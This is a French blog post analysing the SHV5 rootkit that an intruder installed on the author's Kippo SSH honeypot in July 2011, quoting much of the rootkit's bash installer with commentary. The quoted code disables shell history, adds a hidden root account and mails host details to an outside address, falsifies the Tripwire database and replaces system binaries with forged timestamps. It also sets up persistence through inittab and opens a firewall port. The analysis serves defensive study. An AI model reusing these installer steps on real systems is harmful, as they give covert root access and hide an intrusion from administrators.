Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Archives 2011

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

Rédigé par devloop - -

Introduction

Le 19 juillet 2011, un nouvel intrus a fait irruption sur ce qu'il pensait être un système Unix faisant tourner un serveur SSH alors qu'il s'agissait en réalité du honeypot SSH, un outil destiné à leurrer les hackers, surveiller leurs activités et récupérer leurs scripts.

Le pirate n'est pas apparu par hasard sur la machine. Il a réalisé une attaque brute force sur le compte root du serveur SSH simulé par Kippo.
Sur cette journée j'ai eu deux attaques brute force concluantes : la première à 10h49 provenant de l'IP 84.14.252.138 et la seconde à 12h03 venant de 123.30.49.8.
Difficile de dire sur laquelle de ces attaques s'est basé le pirate puisqu'il a fait une connexion directe plus tard avec une IP différente : 174.36.18.156.

La première commande lancée sur le système a été "w" pour s'assurer qu'il était le seul connecté sur le serveur et que sa présence ne serait pas vue par un autre utilisateur.
Il a ensuite affiché le contenu du fichier /proc/cpuinfo pour obtenir des informations sur le système et lancé ifconfig pour afficher les interfaces réseau.
La commande wget a aussi été lancée sans arguments, juste pour vérifier que le programme était bien présent sur le système.

Pour empêcher l'historisation de sa session il a copié/collé la commande suivante :
unset HISTFILE HISTSAVE HISTMOVE HISTZONE HISTORY HISTLOG USERHOST REMOTEHOST REMOTEUSER
Il s'est ensuite placé dans le dossier /var/tmp pour récupérer avec wget un fichier à l'adresse http://unixcrew.t35.com/rk.jpg.
Ce fichier à l'extension jpg est en réalité une archive tgz qui une fois décompressée génère un dossier .rc. contenant un fichier setup ainsi que d'autres archives tgz.

Le pirate ne prend pas plus de temps pour explorer le système et exécute immédiatement le script avec ./setup unixteam 1985.

SHV5 : Script d'installation

Le fichier setup est un script bash qui installe un rootkit bien connu de la famille des SHVx (ici SHV5). Du à la longueur du fichier, nous l'étudierons en plusieurs morceaux.
Première partie :

#!/bin/bash
#
# shv5-internal-release
# by: TheDemon
# PRIVATE ! DO NOT DISTRIBUTE BITCHEZ !

# BASIC DEFINES
DEFPASS=dacialogan
DEFPORT=7000
BASEDIR=`pwd`

# DON`T TOUCH BELOW UNLESS YOU KNOW WHAT U`R DOING !
# BEFORE WE MOVE ON LET`s WORK ON SAFE-GROUND !
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

# RAINBOW COLOURS :)
BLK='^[1;30m'
RED='^[1;31m'
GRN='^[1;32m'
YEL='^[1;33m'
BLU='^[1;34m'
MAG='^[1;35m'
CYN='^[1;36m'
WHI='^[1;37m'
DRED='^[0;31m'
DGRN='^[0;32m'
DYEL='^[0;33m'
DBLU='^[0;34m'
DMAG='^[0;35m'
DCYN='^[0;36m'
DWHI='^[0;37m'
RES='^[0m'

# HOPE U`R NO TRYING THIS FROM USER !
# HOWEVER LET`S SEE WHAT KINDA KID U ARE ?
if [ "$(whoami)" != "root" ]; then
  echo "${DCYN}[${WHI}sh${DCYN}] ${WHI} BECOME ROOT AND TRY AGAIN ${RES}"
  echo ""
  exit
fi

# UNZIPING SHITS
tar zxf ./bin.tgz
tar zxf ./conf.tgz
tar zxf ./lib.tgz
tar zxf ./utilz.tgz
cd ./bin; tar zxf ./sshd.tgz
./a
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz

sleep 2

cd $BASEDIR

killall -9 syslogd >/dev/null 2>&1

startime=`date +%S`

echo "${DCYN}[${WHI}sh${DCYN}]# Installing shv5 ... this wont take long ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# If u think we will patch your holes shoot yourself !${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# so patch manualy and fuck off!  ${RES}"
echo ""
echo ""
echo "${WHI}============================================================================${RES}"
echo ""
echo "${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\n\r\t - Do not use this version.\n\n${RES}"
echo "${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}"
echo "${YEL}##########${DRED}RRRRR   AAAAAAAA   PPPPP    HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR   R  AAA  AAA   PP   P   HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR   R  AA    AA   PP   P   HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RRRRR   AAAAAAAA   PPPPP    HHHHHH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR R    AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR RR   AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR  RR  AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${DCYN}#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@${RES}"
echo ""
echo "${WHI}============================================================================${RES}"
echo ""
sleep 2

echo "${DCYN}[${WHI}sh${DCYN}]# backdooring started on ${WHI}`hostname -f`${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"

SYSLOGCONF="/etc/syslog.conf"

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for remote logging...  ${RES}"

REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2`

if [ ! -z "$REMOTE" ]; then
  echo "${DCYN}[${WHI}sh${DCYN}]# May Allah help us!${RES}"
  echo
  echo '${RED} REMOTE LOGGING DETECTED ${RES}'
  echo '${DCYN}[${WHI}sh${DCYN}]# I hope you can get to these other computer(s): ${RES}'
  echo
  for host in $REMOTE; do
    echo -n "            "
    echo $host
  done
  echo
  echo ' ${WHI} cuz this box is LOGGING to it... ${RES}'
  echo
  else
  echo " ${WHI} guess not.${RES}"
fi
Cette première partie constitue principalement la présentation du code. Si on cherche sur Internet une copie de ce script on remarque que le nom de l'auteur a été changé. Encore du plagiat.
Deux variables intéressantes sont définies. La première est un mot de passe "dacialogan" qui s'accorde bien avec la supposée nationalité (roumaine) des intrus. La seconde variable intéressante est un numéro de port : 7000.
Le programme désarchive ensuite des fichiers compressés aux noms explicites (bin pour les binaires, conf pour la configuration etc)
Un appel discret à un script baptisé "a" est fait. Voici le contenu du script en question :
password="alex1985"                                                                                                                                                                                                                
pass=$(perl -e 'print crypt($ARGV[0], "wtf")' $password)                                                                                                                                                                           
/usr/sbin/useradd -o -u 0 -g 0 -d /tmp -s /bin/bash -p $pass -f -1 pupacila
/sbin/ifconfig | grep inet | mail -s "inca un root" norocos@canadianbiotech.com
exit
On a ici un ajout automatique d'un compte utilisateur ainsi qu'une référence à une adresse email pour le moins suspects... Pour terminer, le setup analyse brièvement le fichier de configuration de syslog pour déterminer si les logs sont envoyés sur un serveur distant.

Voyons la suite du script :
#######################################################################
## CHEKING FOR MALICIOUS ADMIN TOOLS !(like tripwire, snort, etc...) ##
##                                                                   ##
#######################################################################

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire...  ${RES}"

uname=`uname -n`
twd=/var/lib/tripwire/$uname.twd

if [ -d /etc/tripwire ]; then
  echo "${WHI} ALERT: TRIPWIRE FOUND! ${RES}"

  if [ -f /var/lib/tripwire/$uname.twd ]; then
    chattr -isa $twd
    echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire-database... ${RES}"
    echo "${RED} ALERT! tripwire database found ${RES}"
    echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} dun worry we got handy-tricks for this :) ${RES}"
    echo "-----------------------------------------" > $twd
    echo "Tripwire segment-faulted !" >> $twd
    echo "-----------------------------------------" >> $twd
    echo "" >> $twd
    echo "The reasons for this may be: " >> $twd
    echo "" >> $twd
    echo "corrupted disc-geometry, possible bad disc-sectors" >> $twd
    echo "corrupted files while checking for possible change etc." >> $twd
    echo ""
    echo "pls. rerun tripwire to build the database again!" >> $twd
    echo "" >> $twd
  else
    echo "${WHI} lucky you: Tripwire database not found. ${RES}"
  fi
else
  echo "${WHI} guess not. ${RES}"
fi
Cette partie du script regarde si Tripwire, un outil de vérification d'intégrité des fichiers, est installé sur la machine. Le rootkit ne cherche pas à leurrer Tripwire car l'opération est délicate. D'autant plus que comme on le verra dans la suite de ce script setup, SHV5 est un rootkit qui fonctionne par remplacement des binaires sur le système donc moins évolué et facilement détectable comparé à un rootkit noyau.
Ici SHV5 insère dans la base de données de Tripwire un message d'erreur (probablement récupéré dans le code de Tripwire) destiné à faire croire l'administrateur du système que le disque dur a des secteurs défectueux.

Reprenons l'analyse du setup :
# restoring login
if [ -f /sbin/xlogin ]; then
  chattr -isa /sbin/xlogin
  chattr -isa /bin/login
  mv -f /sbin/xlogin /bin/login
  chmod 7455 /bin/login
  chattr +isa /bin/login
fi

echo "${DCYN}[${WHI}sh${DCYN}]# [Installing trojans....] ${BLU} ${RES}"

if [ -f /etc/sh.conf ]; then
  chattr -isa /etc/sh.conf
  rm -rf /etc/sh.conf
fi

# checking if we got needed libs and filez
if [ ! -f /lib/libproc.a ]; then
  mv lib/libproc.a /lib/
fi

if [ ! -f /lib/libproc.so.2.0.6 ]; then
  mv lib/libproc.so.2.0.6 /lib/
fi

/sbin/ldconfig >/dev/null 2>&1

#if [ -f /lib/libncurses.so.5 ]; then
#  echo ""
#else
#  ln -s /lib/libncurses.so.4 /lib/libncurses.so.5 2>/dev/null
#fi

if [ -f /.bash_history ]; then
  chattr -isa /.bash_history >/dev/null 2>&1
  rm -rf /.bash_history
fi

if [ -f /bin/.bash_history ]; then
  chattr -isa /bin/.bash_history
  rm -rf /bin/.bash_history
fi

if [ ! -f /usr/bin/md5sum ]; then
  touch -acmr /bin/ls bin/md5sum
  cp bin/md5sum /usr/bin/md5sum
fi
Plusieurs commandes ne semblent pas avoir de sens. La référence à un binaire nommé xlogin n'est pas retrouvée ensuite. Il peut s'agir d'une ligne laissé lors d'un changement de version ou un test oublié par l'auteur...
Le fichier /etc/sh.conf n'existe pas sur un système standard. Il s'agit d'un des fichiers qui est créé ensuite par le rootkit. Ce dernier fait donc le ménage avant de s'installer.
La librairie libproc est une librairie que l'on ne trouve plus sur les systèmes actuels mais qui à l'époque était utilisé par les binaires ps, top, pstree. Cela en faisait une cible privilégié des hackers car il suffisait de modifier cette librairie pour agir sur les résultats de plusieurs binaires à la fois.
La librairie ncurses est notamment utilisée par les programmes top et pstree.
La présence d'un fichier .bash_history sous la racine / ou dans le dossier /bin semble être un pur fruit de l'imagination de l'auteur. Il n'existe pas de tels fichiers à ces emplacements.
Enfin le script remplace le programme de hachage md5sum par le sien et lui donne pour date celles de /bin/ls. Il aurait été plus judicieux de copier celles du md5sum original !
if test -n "$1" ; then
  echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}"
  cd $BASEDIR/bin
  echo -n $1|md5sum > /etc/sh.conf
else
  echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}"
  echo -n $DEFPASS|md5sum > /etc/sh.conf
fi

touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
chattr +isa /etc/sh.conf
Dans les lignes ci-dessus, le programme place dans le fichier /etc/sh.conf le hash md5 d'un mot de passe choisi par l'utilisateur. S'il est passé par argument, il s'agira du premier argument passé au setup, sinon ce sera celui indiqué dans la source du setup que l'on a vu au début (dacialogan).
Dans notre cas on a vu que le pirate a passé la chaine unixteam au setup. Ce sera donc son mot de passe.
Des attributs spéciaux sont placés sur le fichier pour rendre difficile sa suppression par un administrateur ayant de faibles connaissances.
if test -n "$2" ; then
  echo "${DCYN}[${WHI}sh${DCYN}]# Using ssh-port : ${WHI}$2 ${RES}"
  echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
  echo "3 $2" >> $BASEDIR/conf/hosts.h
  echo "4 $2" >> $BASEDIR/conf/hosts.h
  port=$2
  cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config; rm -rf $BASEDIR/bin/.sh/shdcf2
  mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
  echo "${DCYN}[${WHI}sh${DCYN}]# No ssh-port Specified, using default - $DEFPORT ${BLU} ${RES}"
  echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
  echo "3 $2" >> $BASEDIR/conf/hosts.h
  echo "4 $2" >> $BASEDIR/conf/hosts.h
  port=$DEFPORT
  cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config; rm -rf $BASEDIR/bin/.sh/shdcf2
  mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi

/sbin/iptables -I INPUT -p tcp --dport $port -j ACCEPT
A l'instar du mot de passe, un port est défini à partir de la ligne de commande ou de la source. Dans notre cas ce sera 1985 et non 7000. On peut supposer que 1985 est la date de naissance de l'intrus...
Ce port est utilisé pour configurer un serveur SSH (fichier sshd_config). On remarque aussi que le numéro de port est placé dans le fichier hosts.h.
Le reste du fichier sshd_config est ensuite rempli par un fichier nommé shdcf2 qui contient les directives nécessaires pour que le serveur ssh fonctionne normalement.
Ces fichiers en rapport avec ssh sont extrait depuis une archive nommée sshd.tgz qui était elle même présente dans bin.tgz. Parmi ces fichiers on trouve la clé privée du serveur SSH. Il est fort à parier que les pirates utilisant ce rootkit ont laissé la clé d'origine sans chercher à en générer une eux même.

Le binaire baptisé sshd qui est présent dans l'archive n'est pas un serveur SSH traditionnel. D'abord il est compilé statiquement et fait 208Ko. Sur mon système, le sshd est compilé dynamiquement et fait 533Ko ! Il s'agit donc plus d'une backdoor sécurisée que d'un vrai serveur SSH.
Ajouté à ça un strings sur le binaire révèle très peu de choses. En fait on trouve uniquement les chaînes suivantes :
Linux
$Info: This file is the propert of SH-crew team designed for test
purposes. $
$Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and
enjoy. $
Personnellement je n'utiliserais pas un binaire aussi suspect même si c'était pour pirater une machine.
if [ -f /lib/lidps1.so ]; then
  chattr -isa /lib/lidps1.so
  rm -rf /lib/lidps1.so
fi
Le fichier lidps1.so n'est pas une librairie. C'est un fichier texte qui semble contenir le nom de commandes / exécutables : ttyload, shsniff, shp, hide, burim, synscan, mirkforce, ttymon et sh2-power.
if [ -f /usr/include/hosts.h ]; then
  chattr -isa /usr/include/hosts.h
  rm -rf /usr/include/hosts.h
fi
Le fichier hosts.h contient des débuts d'adresse IP et des numéros de ports qui seront cachés par les versions modifiées de netstat et lsof (?).
Le contenu du fichier par défaut est le suivant :
2 212.110
2 195.26
2 194.143
2 62.220
2 193.231
3 2002
4 2002
3 6667
3 8080
4 8080
4 6667
On peut émettre l'hypothèse que le numéro qui précède sert à définir le type. 2 pour une adresse IP, 3 pour un port TCP, 4 pour un port UDP... C'est une idée.
if [ -f /usr/include/file.h ]; then
  chattr -isa /usr/include/file.h
  rm -rf /usr/include/file.h
fi
Le fichier file.h contiendra comme on s'en doute les fichiers à dissimuler sur le système.
Son contenu est le suivant :
sh.conf
libsh
.sh
system
shsb
libsh.so
ttylib
shp
shsniff
srd0
On retrouve bien sûr le fichier sh.conf et d'autres fichiers croisés précédemment. Ce qui est nouveau c'est le srd0 qui ressemble à un périphérique.
if [ -f /usr/include/log.h ]; then
  chattr -isa /usr/include/log.h
  rm -rf /usr/include/log.h
fi
Ce fichier contient les mots mirkforce, synscan et syslog...
if [ -f /usr/include/proc.h ]; then
  chattr -isa /usr/include/proc.h
  rm -rf /usr/include/proc.h
fi
Ce fichier contient tout les noms de processus qui devront être dissimulés aux yeux des utilisateurs du système.
Étudions la suite du setup :
cd $BASEDIR
mv $BASEDIR/conf/lidps1.so /lib/lidps1.so
touch -acmr /bin/ls /lib/lidps1.so
touch -acmr /bin/ls $BASEDIR/conf/*
mv $BASEDIR/conf/* /usr/include/

# Ok lets start creating dirs
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh

if [ -d /lib/libsh.so ]; then
  chattr -isa /lib/libsh.so
  chattr -isa /lib/libsh.so/*
  rm -rf /lib/libsh.so
fi

if [ -d /usr/lib/libsh ]; then
  chattr -isa /usr/lib/libsh
  chattr -isa /usr/lib/libsh/*
  rm -rf /usr/lib/libsh/*
fi

mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR

cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR

[coupé]

cp /bin/bash $SSHDIR
Par souci de lisibilité j'ai retiré certaines lignes. Le script place ses binaires dans les dossiers /usr/lib/libssh et /lib/libsh.so. Ces dossiers étant hardcodés il est aisé pour un administrateur ou un outil de sécurité de vérifier leur présence même si les binaires ont été modifiés.
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2

echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1
cat /tmp/.init2 >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# modem getty." >> /tmp/.init1
echo "# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# fax getty (hylafax)" >> /tmp/.init1
echo "# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# vbox (voice box) getty" >> /tmp/.init1
echo "# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6" >> /tmp/.init1
echo "# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# end of /etc/inittab" >> /tmp/.init1

echo "/sbin/ttyload -q >/dev/null 2>&1" > /usr/sbin/ttyload
echo "/sbin/ttymon >/dev/null 2>&1" >> /usr/sbin/ttyload
echo "/sbin/ttylib >/dev/null 2>&1" >> /usr/sbin/ttyload
echo "/sbin/iptables -I INPUT -p tcp --dport $port -j ACCEPT" >> /usr/sbin/ttyload
echo "iptables -I INPUT -p tcp --dport $port -j ACCEPT" >> /usr/sbin/ttyload

touch -acmr /bin/ls /usr/sbin/ttyload
chmod +x /usr/sbin/ttyload
chattr +isa /usr/sbin/ttyload
/usr/sbin/ttyload >/dev/null 2>&1

touch -amcr /etc/inittab /tmp/.init1
mv -f /tmp/.init1 /etc/inittab
rm -rf /tmp/.init2

# MAKING SURE WE GOT IT BACKDORED RIGHT !
if [ ! "`grep ttyload /etc/inittab`" ]; then
  echo "${RED}[${WHI}sh${RED}]# WARNING - SSHD WONT BE RELOADED UPON RESTART"
  echo "${RED}[${WHI}sh${RED}]# inittab shuffling probly fucked-up !"
fi
Le setup créé un fichier /usr/sbin/ttyload qui sera chargé par init par le biais de inittab. On remarque que des lignes inutiles (car commentées) sont aussi insérées... Probablement pour essayer de noyer le poisson.
Il ouvre aussi l'accès au port choisi par le pirate par le biais de iptables. Comme expliqué sur une autre analyse ce n'est pas forcément effectif : le firewall n'est pas forcément sur la même machine.
# Say hello to md5sum fixer boys n gurls !
if [ -f /sbin/ifconfig ]; then
  /usr/bin/md5sum /sbin/ifconfig >> .shmd5
fi
if [ -f /bin/ps ]; then
  /usr/bin/md5sum /bin/ps >> .shmd5
fi
if [ -f /bin/ls ]; then
  /usr/bin/md5sum /bin/ls >> .shmd5
fi

[coupé]

if [ -f /usr/bin/md5sum ]; then
  /usr/bin/md5sum /usr/bin/md5sum >> .shmd5
fi
Bonjour md5 fixer ! :D
md5sum fait partie des fichiers backdoorés. Le rôle de la backdoor est de retourner une fausse somme de contrôle md5 qui rassurera l'administrateur. Pour cela il faut stocker les md5 des binaires originaux pour les retourner plus tard. C'est à ça que sert le fichier .shmd5 que l'on voit ici.
On notera que si md5sum est backdooré, ce n'est pas le cas de sha1sum...
if [ ! -f /dev/srd0 ]; then
  ./encrypt -e .shmd5 /dev/srd0
  touch -acmr /bin/ls /dev/srd0
  chattr a+r /dev/srd0
  chown -f root:root /dev/srd0
fi

rm -rf .shmd5
On trouve ici notre fichier srd0 qui est effectivement créé dans /dev. Il est généré depuis le fichier de signatures .shmd5 par le binaire encrypt.
Je ne peux pas dire grand chose sur ce binaire si ce n'est que AVG le détecte comme Linux/Agent2.V, qu'il pèse 15Ko, qu'il est compilé dynamiquement et strippé.
On trouve les chaines "Encrypt / Decrypt tool", "for all files !" et "syntx:". Il prend l'option -e pour chiffrer et -d pour déchiffrer.
Un nm -D lancé sur le binaire révèle qu'il n'utilise que des fonctions de base (fopen, fgets, strncpy, memcpy etc). Sans étude plus poussée impossible de dire quel algorithme est utilisé toutefois le fichier généré ne doit pas être du type périphérique ce qui rend sa présence dans /dev suspecte. C'est pour cela que les autres binaires cherchent à le cacher.
# time change bitch

touch -acmr /sbin/ifconfig ifconfig >/dev/null 2>&1
touch -acmr /bin/ps ps >/dev/null 2>&1
touch -acmr /usr/bin/md5sum md5sum >/dev/null 2>&1
md5sum="norocos@canadianbiotech.com"
C'est explicite : on recopie les dates des binaires originaux pour passer inaperçu. Je n'ai pas mis toutes les lignes. Cette fois il repasse sur le md5sum. On relève l'adresse email.
# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir $BACKUP

# ps ...
if [ -f /usr/bin/ps ]; then
  chattr -isa /usr/bin/ps
  cp /usr/bin/ps $BACKUP
  mv -f ps /usr/bin/ps
  chattr +isa /usr/bin/ps
fi

# syslogd ...
# we won`t trojan it coz its too sensitive and won`t work.
# Admin will notice it upon system-restart!

#if [ -f /sbin/syslogd ]; then
#  chattr -isa /sbin/syslogd
#  cp /sbin/syslogd $BACKUP
#  mv -f syslogd /sbin/syslogd 
#  chattr +isa /sbin/syslogd
#fi
Les binaires sont écrasés et les dates originales conservés dans le déplacement avec l'option -f de mv. Le script conserve une copie des binaires originaux en cas de problème, et il peut y en avoir : architecture ou version de la libc incompatible... Comme le script ne fait aucune vérification ça peut très bien casser le système.
Les backups pourraient toutefois s'avérer utiles à un administrateur qui veut corriger son système quoiqu'il est plus sûr de réinstaller le système complètement.
echo "${DCYN}[${WHI}sh${DCYN}]# : ps/ls/top/netstat/ifconfig/find/ and rest backdoored${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [Installing some utils...] ${RES}"

cd $BASEDIR

#if [ ! -f /usr/bin/wget ]; then
#  touch -acmr /bin/ls ./bin/wget
#  chmod 744 ./bin/wget
#  mv ./bin/wget /usr/bin/wget
#fi

# PICO WILL MAKE RK GROW BIG!
# SO FUCK OFF AND USE vi !

#if [ ! -f /usr/bin/pico ]; then
#  touch -acmr /bin/ls ./pico
#  chmod 744 ./pico
#  mv ./pico /usr/bin/pico
#fi
Pour une fois je suis d'accord. Pico ça craint ! Utilisez VI !
touch -acmr /bin/ls $BASEDIR/utilz
touch -acmr /bin/ls $BASEDIR/utilz/*
mv $BASEDIR/utilz $HOMEDIR/

echo "${DCYN}[${WHI}sh${DCYN}]# : mirk/synscan/others... moved ${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# [Moving our files...] ${RES}"

mkdir $HOMEDIR/.sniff
mv $BASEDIR/bin/shsniff $HOMEDIR/.sniff/shsniff
mv $BASEDIR/bin/shp $HOMEDIR/.sniff/shp
mv $BASEDIR/bin/shsb $HOMEDIR/shsb
mv $BASEDIR/bin/hide $HOMEDIR/hide

touch -acmr /bin/ls $HOMEDIR/.sniff/shsniff
touch -acmr /bin/ls $HOMEDIR/.sniff/shp
touch -acmr /bin/ls $HOMEDIR/shsb
touch -acmr /bin/ls $HOMEDIR/hide

chmod +x $HOMEDIR/.sniff/*
chmod +x $HOMEDIR/shsb
chmod +x $HOMEDIR/hide

echo "${DCYN}[${WHI}sh${DCYN}]# : sniff/parse/sauber/hide moved ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [Modifying system settings to suite our needs] ${RES}"
Le setup place quelques outils qui étaient dans utilz.tgz. On y retrouve d'autres programmes signés SH-TEAM.
# CHECKING FOR VULN DAEMONS
# JUST WARNING NOT PATCHING HeH
echo "${DCYN}[${WHI}sh${DCYN}]# Checking for vuln-daemons ...  ${RES}"

ps aux > /tmp/.procs

if [ "`cat /tmp/.procs | grep named`" ]; then
  echo "${RED}[${WHI}sh${RED}]# NAMED found - patch it bitch !!!!  ${RES}"
fi

if [ -f /usr/sbin/wu.ftpd ]; then
  echo "${RED}[${WHI}sh${RED}]# WU-FTPD found - patch it bitch !!!!  ${RES}"
fi

if [ "`cat /tmp/.procs | grep smbd`" ]; then
  echo "${RED}[${WHI}sh${RED}]# SAMBA found - patch it bitch !!!!  ${RES}"
fi

if [ "`cat /tmp/.procs | grep rpc.statd`" ]; then
  echo "${RED}[${WHI}sh${RED}]# RPC.STATD found - patch it bitch !!!! ${RES}"
fi

rm -rf /tmp/.procs
netstat -natp > /tmp/.stats

if [ "`cat /tmp/.stats | grep 443 | grep http`" ]; then
  echo "${RED}[${WHI}sh${RED}]# MOD_SSL found - patch it bitch !!!! ${RES}"
fi

rm -rf /tmp/.stats

# CHECKING FOR HOSTILE ROOTKITS/BACKDORS
mkdir $HOMEDIR/.owned

if [ -f /etc/ttyhash ]; then
  chattr -AacdisSu /etc/ttyhash
  rm -rf /etc/ttyhash
fi

if [ -d /lib/ldd.so ]; then
  chattr -isa /lib/ldd.so
  chattr -isa /lib/ldd.so/*
  mv /lib/ldd.so $HOMEDIR/.owned/tk8
  echo "${RED}[${WHI}sh${RED}]# tk8 detected and owned ...!!!! ${RES}"
fi

if [ -d /usr/src/.puta ]; then
  chattr -isa /usr/src/.puta
  chattr -isa /usr/src/.puta/*
  mv /usr/src/.puta $HOMEDIR/.owned/tk7
  echo "${RED}[${WHI}sh${RED}]# tk7 detected and owned ...!!!! ${RES}"
fi

if [ -f /usr/sbin/xntpd ]; then
  chattr -isa /usr/sbin/xntpd
  rm -rf /usr/sbin/xntpd
fi

if [ -f /usr/sbin/nscd ]; then
  chattr -isa /usr/sbin/nscd
  rm -rf /usr/sbin/nscd
fi

if [ -d /usr/include/bex ]; then
  chattr -isa /usr/info/termcap.info-5.gz; rm -rf /usr/info/termcap.info-5.gz
  chattr -isa /usr/include/audit.h; rm -rf /usr/include/audit.h
  chattr -isa /usr/include/bex
  chattr -isa /usr/include/bex/*
  mv /usr/include/bex/ $HOMEDIR/.owned/bex2
  if [ -f /var/log/tcp.log ]; then
    chattr -isa /var/log/tcp.log
    cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog
  fi
  chattr -isa /usr/bin/sshd2 >/dev/null 2>&1
  rm -rf /usr/bin/sshd2 >/dev/null 2>&1
  echo "${RED}[${WHI}sh${RED}]# beX2 detected and owned ...!!!! ${RES}" 
fi

if [ -d /dev/tux/ ]; then
  chattr -isa /usr/bin/xsf >/dev/null 2>&1
  rm -rf /usr/bin/xsf >/dev/null 2>&1
  chattr -isa /usr/bin/xchk >/dev/null 2>&1
  rm -rf /usr/bin/xchk >/dev/null 2>&1
  chattr -isa /dev/tux >/dev/null 2>&1
  mv /dev/tux $HOMEDIR/.owned/tuxkit
  echo "${RED}[${WHI}sh${RED}]# tuxkit detected and owned ...!!!!  ${RES}" 
fi

if [ -f /usr/bin/ssh2d ]; then
  chattr -isa /usr/bin/ssh2d
  rm -rf /usr/bin/ssh2d
  chattr -isa /lib/security/.config/
  chattr -isa /lib/security/.config/*
  rm -rf /lib/security/.config
  echo "${RED}[${WHI}sh${RED}]# optickit detected and removed ...!!!! ${RES}" 
fi

if [ -f /etc/ld.so.hash ]; then
  chattr -isa /etc/ld.so.hash
  rm -rf /etc/ld.so.hash
fi
Amusant... Le setup retire les rootkits qui pourrait être présents sur votre système et vous prévient si des démons à la sécurité hasardeuse sont présents (compris bitch ?)
La suite est dans le même ordre d'idée :
chattr +isa /usr/lib/libsh
chattr +isa /lib/libsh.so

# GREPPING SHITZ FROM rc.sysinit and inetd.conf
if [ -f /etc/rc.d/rc.sysinit ]; then
  chattr -isa /etc/rc.d/rc.sysinit
  cat /etc/rc.d/rc.sysinit | grep -v "# Xntps (NTPv3 daemon) startup.."| grep -v "/usr/sbin/xntps"| grep -v "/usr/sbin/nscd" > /tmp/.grep
  chmod +x /tmp/.grep
  touch -acmr /etc/rc.d/rc.sysinit /tmp/.grep
  mv -f /tmp/.grep /etc/rc.d/rc.sysinit
  rm -rf /tmp/.grep
fi

if [ -f /etc/inetd.conf ]; then
  chattr -isa /etc/inetd.conf
  cat /etc/inetd.conf | grep -v "6635"| grep -v "9705" > /tmp/.grep
  touch -acmr /etc/inted.conf /tmp/.grep
  mv -f /tmp/.grep /etc/inetd.conf
  rm -rf /tmp/.grep
fi

# KILLING SOME LAMME DAEMONS
killall -9 -q nscd >/dev/null 2>&1
killall -9 -q xntps >/dev/null 2>&1
killall -9 -q mountd >/dev/null 2>&1
killall -9 -q mserv >/dev/null 2>&1
killall -9 -q psybnc >/dev/null 2>&1
killall -9 -q t0rns >/dev/null 2>&1
killall -9 -q linsniffer >/dev/null 2>&1
killall -9 -q sniffer >/dev/null 2>&1
killall -9 -q lpsched >/dev/null 2>&1
killall -9 -q sniff >/dev/null 2>&1
killall -9 -q sn1f >/dev/null 2>&1
killall -9 -q sshd2 >/dev/null 2>&1
killall -9 -q xsf >/dev/null 2>&1
killall -9 -q xchk >/dev/null 2>&1
killall -9 -q ssh2d >/dev/null 2>&1


echo "${WHI}--------------------------------------------------------------------${RES}"

